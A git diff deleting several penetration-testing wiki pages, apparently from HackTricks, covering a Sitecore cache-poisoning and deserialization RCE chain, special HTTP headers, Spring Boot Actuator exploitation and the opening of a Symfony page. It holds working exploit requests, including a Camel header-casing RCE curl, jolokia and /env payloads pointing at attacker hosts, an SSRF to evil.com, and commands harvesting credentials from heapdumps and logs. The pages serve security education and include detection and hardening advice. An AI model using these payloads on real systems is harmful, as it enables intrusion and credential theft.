-GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
-```
-
-Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:
-
-```
-GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
-```
-
-### Side‑channel enumeration under restricted identities (CVE-2025-53694)
-
-Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:
-
-```
-GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
-→ "TotalCount": 3
-GET /...term=%2B_templatename:Device;%2B_group:aa*
-→ "TotalCount": 2
-GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
-→ narrow to a specific item
-```
-
-## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
-
-Sink:
-
-```csharp
-// Sitecore.Convert
-byte[] b = Convert.FromBase64String(data);
-return new BinaryFormatter().Deserialize(new MemoryStream(b));
-```
-
-Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
-
-```csharp
-HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
-string text2   = inner?.GetAttributeValue("value", "");
-if (text2.Length > 0)
-  htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
-```
-
-Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:
-
-```
-// 1) Start Content Editor
-GET /sitecore/shell/Applications/Content%20Editor.aspx
-
-// 2) Load malicious HTML into EditHtml session (XAML event)
-POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
-Content-Type: application/x-www-form-urlencoded
-
-__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
-<html>
-  <iframe id="test" src="poc" value="poc"></iframe>
-  <test id="test_inner" value="BASE64_GADGET"></test>
-</html>
-
-// 3) Server returns a session handle (hdl) for FixHtml
-{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
-
-// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
-GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
-```
-
-Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
-
-
-{{#ref}}
-../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
-{{#endref}}
-
-## Complete chain
-
-1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
-2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
-3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
-
-## Detection
-
-- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
-- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
-- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
-
-## Hardening
-
-- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
-- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
-- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
-- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
-
-## References
-
-- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
-- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
-- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md
deleted file mode 100644
index d2fb7ea950e..00000000000
--- a/src/network-services-pentesting/pentesting-web/special-http-headers.md
+++ /dev/null
@@ -1,359 +0,0 @@
-# Special HTTP headers
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Wordlists & Tools
-
-- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
-- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
-
-## Headers to Change Location
-
-Rewrite **IP source**:
-
-- `X-Originating-IP: 127.0.0.1`
-- `X-Forwarded-For: 127.0.0.1`
-- `X-Forwarded: 127.0.0.1`
-- `Forwarded-For: 127.0.0.1`
-- `X-Forwarded-Host: 127.0.0.1`
-- `X-Remote-IP: 127.0.0.1`
-- `X-Remote-Addr: 127.0.0.1`
-- `X-ProxyUser-Ip: 127.0.0.1`
-- `X-Original-URL: 127.0.0.1`
-- `Client-IP: 127.0.0.1`
-- `X-Client-IP: 127.0.0.1`
-- `X-Host: 127.0.0.1`
-- `True-Client-IP: 127.0.0.1`
-- `Cluster-Client-IP: 127.0.0.1`
-- `Via: 1.0 fred, 1.1 127.0.0.1`
-- `Connection: close, X-Forwarded-For` (Check hop-by-hop headers)
-
-Rewrite **location**:
-
-- `X-Original-URL: /admin/console`
-- `X-Rewrite-URL: /admin/console`
-
-## Hop-by-Hop headers
-
-A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header.
-
-- `Connection: close, X-Forwarded-For`
-
-
-{{#ref}}
-../../pentesting-web/abusing-hop-by-hop-headers.md
-{{#endref}}
-
-## HTTP Request Smuggling
-
-- `Content-Length: 30`
-- `Transfer-Encoding: chunked`
-
-
-{{#ref}}
-../../pentesting-web/http-request-smuggling/
-{{#endref}}
-
-## The Expect header
-
-It's posible for the client to send the header `Expect: 100-continue` and then the server could respond with `HTTP/1.1 100 Continue` to allow the client to continue sending the body of the request. However, some proxies don't really llike this header.
-
-Interesting results of `Expect: 100-continue`:
-- Sending a HEAD request with a body the server didn't took into account that HEAD requests don't have body and keep the connection open until it timed out.
-- Another servers sent extrange data: Random data read from the socket in the response, secret keys or even it allowed to prevent the front-end from removing header values.
-- It also caused a `0.CL` desync cause the backend responded with a 400 response isntead of a 100 response, but the proxy front-end was prepared to send the body of the initial request, so it sends it and the backend takes it as new request.
-- Sending an `Expect: y 100-continue` variation also caused the `0.CL` desync.
-- A similar error where the backend responded with a 404 generated a `CL.0` desync because the malicious request indicates a `Content-Length` so the backend sends the malicious request + the `Content-Length` bytes of the next request (of a victim), this desyncs the queue cause the backend sends the 404 request for the malicious request + the repsonse of the victim requests, but the front end thought that only 1 request was sent, so the second response is sent to a seond victim request and the the reponse of taht one is sent to the next one...
-
-For more info about HTTP Request Smuggling check:
-
-{{#ref}}
-../../pentesting-web/http-request-smuggling/
-{{#endref}}
-
-
-## Cache Headers
-
-**Server Cache Headers**:
-
-- **`X-Cache`** in the response may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached
-  - Similar behaviour in the header **`Cf-Cache-Status`**
-- **`Cache-Control`** indicates if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
-- **`Vary`** is often used in the response to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed.
-- **`Age`** defines the times in seconds the object has been in the proxy cache.
-- **`Server-Timing: cdn-cache; desc=HIT`** also indicates that a resource was cached
-
-
-{{#ref}}
-../../pentesting-web/cache-deception/
-{{#endref}}
-
-**Local Cache headers**:
-
-- `Clear-Site-Data`: Header to indicate the cache that should be removed: `Clear-Site-Data: "cache", "cookies"`
-- `Expires`: Contains date/time when the response should expire: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
-- `Pragma: no-cache` same as `Cache-Control: no-cache`
-- `Warning`: The **`Warning`** general HTTP header contains information about possible problems with the status of the message. More than one `Warning` header may appear in a response. `Warning: 110 anderson/1.3.37 "Response is stale"`
-
-## Conditionals
-
-- Requests using these headers: **`If-Modified-Since`** and **`If-Unmodified-Since`** will be responded with data only if the response header**`Last-Modified`** contains a different time.
-- Conditional requests using **`If-Match`** and **`If-None-Match`** use an Etag value so the web server will send the content of the response if the data (Etag) has changed. The `Etag` is taken from the HTTP response.
-  - The **Etag** value is usually **calculated based** on the **content** of the response. For example, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` indicates that the `Etag` is the **Sha1** of **37 bytes**.
-
-## Range requests
-
-- **`Accept-Ranges`**: Indicates if the server supports range requests, and if so in which unit the range can be expressed. `Accept-Ranges: <range-unit>`
-- **`Range`**: Indicates the part of a document that the server should return. For emxaple, `Range:80-100` will return the bytes 80 to 100 of the original response with a status code of 206 Partial Content. Also remember to remove the `Accept-Encoding` header from the request.
-  - This could be useful to get a repsonse with arbitrary reflected javascript code that otherwise could be escaped. But to abuse this you would need to inject this headers in the request.
-- **`If-Range`**: Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.
-- **`Content-Range`**: Indicates where in a full body message a partial message belongs.
-
-## Message body information
-
-- **`Content-Length`:** The size of the resource, in decimal number of bytes.
-- **`Content-Type`**: Indicates the media type of the resource
-- **`Content-Encoding`**: Used to specify the compression algorithm.
-- **`Content-Language`**: Describes the human language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
-- **`Content-Location`**: Indicates an alternate location for the returned data.
-
-From a pentest point of view this information is usually "useless", but if the resource is **protected** by a 401 or 403 and you can find some **way** to **get** this **info**, this could be **interesting.**\
-For example a combination of **`Range`** and **`Etag`** in a HEAD request can leak the content of the page via HEAD requests:
-
-- A request with the header `Range: bytes=20-20` and with a response containing `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` is leaking that the SHA1 of the byte 20 is `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
-
-### Request-body `Content-Encoding` abuse
-
-If the server accepts **request bodies** with a `Content-Encoding` header, test whether **unsupported encodings** are rejected **before** the body reaches any decompressor/parser. A common bug class is tying the rejection logic to an unrelated feature flag (for example, "HTTP compression enabled"). If that gate is wrong, an attacker may be able to reach a code path developers believed was unreachable.
-
-Generic checks:
-
-- Send a **POST** with a **non-empty body** and vary `Content-Encoding` across `gzip`, `deflate`, `br`, `compress`, and `identity`.
-- Compare behavior when the same endpoint receives the same body **without** `Content-Encoding`.
-- Look for crashes, connection resets, allocator aborts, `500` responses, or inconsistent `4xx/5xx` handling.
-- Repeat through the **real origin** and through any **reverse proxy/WAF**, because proxies may strip the header, synthesize their own `415`, or hide the backend `Server` header.
-
-Example probe:
-
-```http
-POST / HTTP/1.1
-Host: target
-Content-Encoding: deflate
-Content-Length: 4
-
-AAAA
-```
-
-If the target should not support compressed request bodies, the safest behavior is an early **`415 Unsupported Media Type`** (or similar explicit rejection) **before** any decompression attempt.
-
-### Safe patch-oracle detection with `Content-Encoding: identity`
-
-When the dangerous value is known to crash the service, look for a **patch behavior oracle** instead of replaying the destructive request. A useful pattern is to send a benign body with `Content-Encoding: identity`:
-
-```http
-POST / HTTP/1.1
-Host: target
-Content-Encoding: identity
-Content-Length: 10
-
-AAAAAAAAAA
-```
-
-Why this is useful:
-
-- A **patched** target may reject **any** request that has both a body and a **non-empty** `Content-Encoding` header, often with **`415 Unsupported Media Type`**.
-- A **vulnerable** target may still process the `identity` request normally and return app-specific codes such as `200`, `302`, `401`, or `404`.
-- If the response still fingerprints the product (for example via `Server`), you can often turn this into a **production-safe vulnerable/patched detector** without ever sending the crashing encoding.
-
-This pattern was useful in SolarWinds **Serv-U** (`<= 15.5.4.108`), where `POST` + body + `Content-Encoding: deflate` reached an unsafe in-memory deflate decompressor and reliably crashed the process, while the hotfix added a generic `415` gate for requests carrying a body plus any non-empty `Content-Encoding` header.
-
-## Server Info
-
-- `Server: Apache/2.4.1 (Unix)`
-- `X-Powered-By: PHP/5.3.3`
-
-## Controls
-
-- **`Allow`**: This header is used to communicate the HTTP methods a resource can handle. For example, it might be specified as `Allow: GET, POST, HEAD`, indicating that the resource supports these methods.
-- **`Expect`**: Utilized by the client to convey expectations that the server needs to meet for the request to be processed successfully. A common use case involves the `Expect: 100-continue` header, which signals that the client intends to send a large data payload. The client looks for a `100 (Continue)` response before proceeding with the transmission. This mechanism helps in optimizing network usage by awaiting server confirmation.
-
-## Downloads
-
-- The **`Content-Disposition`** header in HTTP responses directs whether a file should be displayed **inline** (within the webpage) or treated as an **attachment** (downloaded). For instance:
-
-```
-Content-Disposition: attachment; filename="filename.jpg"
-```
-
-This means the file named "filename.jpg" is intended to be downloaded and saved.
-
-## Security Headers
-
-### Content Security Policy (CSP) <a href="#csp" id="csp"></a>
-
-
-{{#ref}}
-../../pentesting-web/content-security-policy-csp-bypass/
-{{#endref}}
-
-### **Trusted Types**
-
-By enforcing Trusted Types through CSP, applications can be protected against DOM XSS attacks. Trusted Types ensure that only specifically crafted objects, compliant with established security policies, can be used in dangerous web API calls, thereby securing JavaScript code by default.
-
-```javascript
-// Feature detection
-if (window.trustedTypes && trustedTypes.createPolicy) {
-  // Name and create a policy
-  const policy = trustedTypes.createPolicy('escapePolicy', {
-    createHTML: str => str.replace(/\</g, '&lt;').replace(/>/g, '&gt;');
-  });
-}
-```
-
-```javascript
-// Assignment of raw strings is blocked, ensuring safety.
-el.innerHTML = "some string" // Throws an exception.
-const escaped = policy.createHTML("<img src=x onerror=alert(1)>")
-el.innerHTML = escaped // Results in safe assignment.
-```
-
-### **X-Content-Type-Options**
-
-This header prevents MIME type sniffing, a practice that could lead to XSS vulnerabilities. It ensures that browsers respect the MIME types specified by the server.
-
-```
-X-Content-Type-Options: nosniff
-```
-
-### **X-Frame-Options**
-
-To combat clickjacking, this header restricts how documents can be embedded in `<frame>`, `<iframe>`, `<embed>`, or `<object>` tags, recommending all documents to specify their embedding permissions explicitly.
-
-```
-X-Frame-Options: DENY
-```
-
-### **Cross-Origin Resource Policy (CORP) and Cross-Origin Resource Sharing (CORS)**
-
-CORP is crucial for specifying which resources can be loaded by websites, mitigating cross-site leaks. CORS, on the other hand, allows for a more flexible cross-origin resource sharing mechanism, relaxing the same-origin policy under certain conditions.
-
-```
-Cross-Origin-Resource-Policy: same-origin
-Access-Control-Allow-Origin: https://example.com
-Access-Control-Allow-Credentials: true
-```
-
-### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
-
-COEP and COOP are essential for enabling cross-origin isolation, significantly reducing the risk of Spectre-like attacks. They control the loading of cross-origin resources and the interaction with cross-origin windows, respectively.
-
-```
-Cross-Origin-Embedder-Policy: require-corp
-Cross-Origin-Opener-Policy: same-origin-allow-popups
-```
-
-### **HTTP Strict Transport Security (HSTS)**
-
-Lastly, HSTS is a security feature that forces browsers to communicate with servers only over secure HTTPS connections, thereby enhancing privacy and security.
-
-```
-Strict-Transport-Security: max-age=3153600
-```
-
-### **Permissions-Policy (formerly Feature-Policy)**
-
-Permissions-Policy allows web developers to selectively enable, disable, or modify the behaviour of certain browser features and APIs within a document. It is the successor to the now-deprecated `Feature-Policy` header. This header helps reduce the attack surface by restricting access to powerful features that could be abused.
-
-```
-Permissions-Policy: geolocation=(), camera=(), microphone=()
-```
-
-**Common directives:**
-
-| Directive | Description |
-| --- | --- |
-| `accelerometer` | Controls access to the Accelerometer sensor |
-| `camera` | Controls access to video input devices (webcam) |
-| `geolocation` | Controls access to the Geolocation API |
-| `gyroscope` | Controls access to the Gyroscope sensor |
-| `magnetometer` | Controls access to the Magnetometer sensor |
-| `microphone` | Controls access to audio input devices |
-| `payment` | Controls access to the Payment Request API |
-| `usb` | Controls access to the WebUSB API |
-| `fullscreen` | Controls access to the Fullscreen API |
-| `autoplay` | Controls whether media can autoplay |
-| `clipboard-read` | Controls access to read clipboard content |
-| `clipboard-write` | Controls access to write to the clipboard |
-
-**Syntax values:**
-
-- `()` - Disables the feature entirely
-- `(self)` - Allows the feature only for the same origin
-- `*` - Allows the feature for all origins
-- `(self "https://example.com")` - Allows for same origin and specified domain
-
-**Example configurations:**
-
-```
-# Restrictive policy - disable most features
-Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=(), usb=()
-
-# Allow camera only from same origin
-Permissions-Policy: camera=(self)
-
-# Allow geolocation for same origin and a trusted partner
-Permissions-Policy: geolocation=(self "https://maps.example.com")
-```
-
-From a security perspective, missing or overly permissive `Permissions-Policy` headers may allow attackers (e.g., through XSS or embedded iframes) to abuse powerful browser features. Always restrict features to the minimum necessary for your application.
-
-## Header Name Casing Bypass
-
-HTTP/1.1 defines header field‐names as **case-insensitive** (RFC 9110 §5.1). Nevertheless, it is very common to find custom middleware, security filters, or business logic that compare the *literal* header name received without normalising the casing first (e.g. `header.equals("CamelExecCommandExecutable")`).  If those checks are performed **case-sensitively**, an attacker may bypass them simply by sending the same header with a different capitalisation.
-
-Typical situations where this mistake appears:
-
-* Custom allow/deny lists that try to block “dangerous” internal headers before the request reaches a sensitive component.
-* In-house implementations of reverse-proxy pseudo-headers (e.g. `X-Forwarded-For` sanitisation).
-* Frameworks that expose management / debug endpoints and rely on header names for authentication or command selection.
-
-### Abusing the bypass
-
-1. Identify a header that is filtered or validated server-side (for example, by reading source code, documentation, or error messages).
-2. Send the **same header with a different casing** (mixed-case or upper-case).  Because HTTP stacks usually canonicalise headers only *after* user code has run, the vulnerable check can be skipped.
-3. If the downstream component treats headers in a case-insensitive way (most do), it will accept the attacker-controlled value.
-
-### Example: Apache Camel `exec` RCE (CVE-2025-27636)
-
-In vulnerable versions of Apache Camel the *Command Center* routes try to block untrusted requests by stripping the headers `CamelExecCommandExecutable` and `CamelExecCommandArgs`.  The comparison was done with `equals()` so only the exact lowercase names were removed.
-
-```bash
-# Bypass the filter by using mixed-case header names and execute `ls /` on the host
-curl "http://<IP>/command-center" \
-  -H "CAmelExecCommandExecutable: ls" \
-  -H "CAmelExecCommandArgs: /"
-```
-
-The headers reach the `exec` component unfiltered, resulting in remote command execution with the privileges of the Camel process.
-
-### Detection & Mitigation
-
-* Normalise all header names to a single case (usually lowercase) **before** performing allow/deny comparisons.
-* Reject suspicious duplicates: if both `Header:` and `HeAdEr:` are present, treat it as an anomaly.
-* Use a positive allow-list enforced **after** canonicalisation.
-* Protect management endpoints with authentication and network segmentation.
-
-
-## References
-
-- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
-- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
-- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
-- [https://web.dev/security-headers/](https://web.dev/security-headers/)
-- [https://web.dev/articles/security-headers](https://web.dev/articles/security-headers)
-- [Bishop Fox - A Crash, Not a Shell: SolarWinds Serv-U CVE-2026-28318](https://bishopfox.com/blog/a-crash-not-a-shell-solarwinds-serev-u-cve-2026-28318)
-- [BishopFox/CVE-2026-28318-check](https://github.com/BishopFox/CVE-2026-28318-check)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md
deleted file mode 100644
index 5a59413b688..00000000000
--- a/src/network-services-pentesting/pentesting-web/spring-actuators.md
+++ /dev/null
@@ -1,147 +0,0 @@
-# Spring Actuators
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## **Spring Auth Bypass**
-
-<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
-
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
-
-## Exploiting Spring Boot Actuators
-
-**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
-
-### **Key Points:**
-
-- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
-- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
-  - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
-- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.
-
-### **Exploitation Techniques:**
-
-1. **Remote Code Execution via '/jolokia'**:
-   - The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
-   - The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
-   - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
-2. **Config Modification via '/env'**:
-
-   - If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
-   - Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
-   - Example exploit POST request:
-
-     ```
-     POST /env HTTP/1.1
-     Host: 127.0.0.1:8090
-     Content-Type: application/x-www-form-urlencoded
-     Content-Length: 65
-
-     eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
-     ```
-
-3. **Other Useful Settings**:
-   - Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.
-
-### **Additional Information:**
-
-- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
-- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.
-
-### **Related Topics:**
-
-1.  **Env + H2 RCE**:
-    - Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
-
-2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
-   - The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
-   - Example exploit request:
-
-```http
-GET ;@evil.com/url HTTP/1.1
-Host: target.com
-Connection: close
-```
-
-
-
-
-
-
-## HeapDump secrets mining (credentials, tokens, internal URLs)
-
-If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
-
-- Download and quick triage:
-  ```bash
-  wget http://target/actuator/heapdump -O heapdump
-  # Quick wins: look for HTTP auth and JDBC
-  strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
-  # Decode any Basic credentials you find
-  printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
-  ```
-
-- Deeper analysis with VisualVM and OQL:
-  - Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
-    ```
-    select s.toString() 
-    from java.lang.String s 
-    where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
-    ```
-
-- Automated extraction with JDumpSpider:
-  ```bash
-  java -jar JDumpSpider-*.jar heapdump
-  ```
-  Typical high-value findings:
-  - Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
-  - `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
-  - Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.
-
-Tips:
-- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) and always check if `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, and `/actuator/configprops` are also exposed.
-- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.
-
-
-## Abusing Actuator loggers/logging to capture credentials
-
-If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).
-
-- Enumerate and crank up sensitive loggers:
-  ```bash
-  # List available loggers
-  curl -s http://target/actuator/loggers | jq .
-
-  # Enable very verbose logs for security/web stacks (adjust as needed)
-  curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
-  curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
-  curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-       -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
-  ```
-
-- Find where logs are written and harvest:
-  ```bash
-  # If exposed, read from Actuator directly
-  curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
-
-  # Otherwise, query env/config to locate file path
-  curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
-  ```
-
-- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.
-
-Notes:
-- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
-- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.
-
-
-## References
-
-- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
-- [VisualVM](https://visualvm.github.io/)
-- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
-- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/network-services-pentesting/pentesting-web/symphony.md b/src/network-services-pentesting/pentesting-web/symphony.md
deleted file mode 100644
index 28bbf34f615..00000000000
--- a/src/network-services-pentesting/pentesting-web/symphony.md
+++ /dev/null
@@ -1,164 +0,0 @@
-# Symfony
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Symfony is one of the most widely-used PHP frameworks and regularly appears in assessments of enterprise, e-commerce and CMS targets (Drupal, Shopware, Ibexa, OroCRM … all embed Symfony components).  This page collects offensive tips, common mis-configurations and recent vulnerabilities you should have on your checklist when you discover a Symfony application.
-
-> Historical note: A large part of the ecosystem still runs the **5.4 LTS** branch (EOL **November 2025**).  Symfony **7.4** became the new LTS in **Nov 2025** and will receive security fixes until **Nov 2029**.  Always verify the exact patch-level because many 2024‑2026 advisories were fixed only in micro releases.
-
----
-
-## Recon & Enumeration
-
-### Finger-printing
-* HTTP response headers: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` or cookies starting with `sf_redirect`, `sf_session`, `MOCKSESSID`.
-* Source code leaks (`composer.json`, `composer.lock`, `/vendor/…`) often reveal the exact version:
-  ```bash
-  curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
-  ```
-* Public routes that only exist on Symfony:
-  * `/_profiler`   (Symfony **Profiler** & debug toolbar)
-  * `/_wdt/<token>` (“Web Debug Toolbar”)  
-  * `/_error/{code}.{_format}` (pretty error pages)  
-  * `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
-* Wappalyzer, BuiltWith or ffuf/feroxbuster wordlists: `symfony.txt` → look for `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
-
-### Interesting files & endpoints
-| Path | Why it matters |
-|------|----------------|
-| `/.env`, `/.env.local`, `/.env.prod` | Frequently mis-deployed → leaks `APP_SECRET`, DB creds, SMTP, AWS keys |
-| `/.git`, `.svn`, `.hg` | Source disclosure → credentials + business logic |
-| `/var/log/*.log`, `/log/dev.log` | Web-root mis-configuration exposes stack-traces |
-| `/_profiler` | Full request history, configuration, service container, **APP_SECRET** (≤ 3.4) |
-| `/_fragment` | Entry point used by ESI/HInclude.  Abuse possible once you know `APP_SECRET` |
-| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE if accessible (CVE-2017-9841) |
-| `/index.php/_error/{code}` | Finger-print & sometimes leak exception traces |
-
----
-
-## High-impact Vulnerabilities
-
-### 1. APP_SECRET disclosure ➜ RCE via `/_fragment` (aka “secret-fragment”)
